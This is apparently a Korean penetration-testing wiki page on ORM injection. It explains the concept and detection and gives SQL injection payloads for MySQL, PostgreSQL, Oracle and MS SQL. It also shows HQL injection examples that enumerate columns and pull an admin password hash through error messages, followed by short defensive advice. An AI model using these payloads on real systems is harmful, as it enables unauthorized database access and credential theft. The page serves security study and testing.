Introduction
ORM Injection은 ORM(Object Relational Mapping) Layer에서 발생하는 Injection 공격으로 SQL Injection과 밀접한 연관성을 가지고 있습니다.
ORM(Object Relational Mapping)은 소스코드 상의 Object와 RDBMS의 Data를 자동으로 매핑하는 기술로 Object가 영속성(Persistence)를 가질게 할 수 있습니다. 대표적으로 Hibernate, Laravel의 Eloquent, Django/Rails의 ActiveRecord 등이 있습니다.
공격자는 ORM 도구로 생성된 database access layer 코드에 존재하는 취약점이나 개발자가 ORM을 활용하는 과정에서의 문제점들을 이용해 SQL Command를 Injection할 수 있습니다. ORM 도구나 프레임워크를 사용하고, 데이터의 Access Layer를 사용한다는 점으 제외하면 SQL Injection과 거의 유사합니다.
Offensive techniques
Detect
ORM을 사용하는 서비스의 경우 상대적으로 SQL Query를 직접 사용하는 어플리케이션 보단 안전할 수 있습니다. 다만 Object에 매핑된 기능을 처리하는 과정에서 개발자가 실수할 수도 있고 구버전의 ORM 프레임워크 등을 사용하는 경우 알려진 공개 취약점에 의해 영향받을 수 있습니다.
ORM이 자주 활용되는 프레임워크로 만들어진 어플리케이션의 경우 관련 공개 취약점과 구현된 부분에 대한 테스팅으로 식별할 수 있습니다.
- Ruby on Rails
- Django
- Laravel
- JPA(Hibernate) 등
Wappalyzer 같은 도구를 활용하면 쉽게 서비스를 식별할 수 있습니다. 나머지 테스팅 부분은 SQL Injection과 동일합니다.
Magic Functions
DBMS | SQL Injection |
---|---|
MySQL | abc\' INTO OUTFILE -- |
PostgreSQL | $$='$$=chr(61)\|\|chr(0x27) and 1=pg_sleep(2)\|\|version()' |
Oracle | NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' |
MS SQL | 1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users) |
Exploitation
Cullinan > SQL Injection > Exploitation 참고
HQL
Enum Columns
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
Bypass Auth with Error Based
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
Bypass protection
Cullinan > SQL Injection > Bypass Protection 참고
Defensive techniques
ORM 프레임워크를 사용한다고 완벽하게 안전하지 않습니다. 공개 취약점에 대한 모니터링과 주기적인 업데이트가 필요하며, ORM의 Object의 데이터를 사용자로 부터 받는 경우 입력 값 검증이 필요합니다. 입력 값 검증에 대한 자세한 내용은 Cullinan > SQL Injection > Bypass Protection 부분을 참고하시길 바랍니다.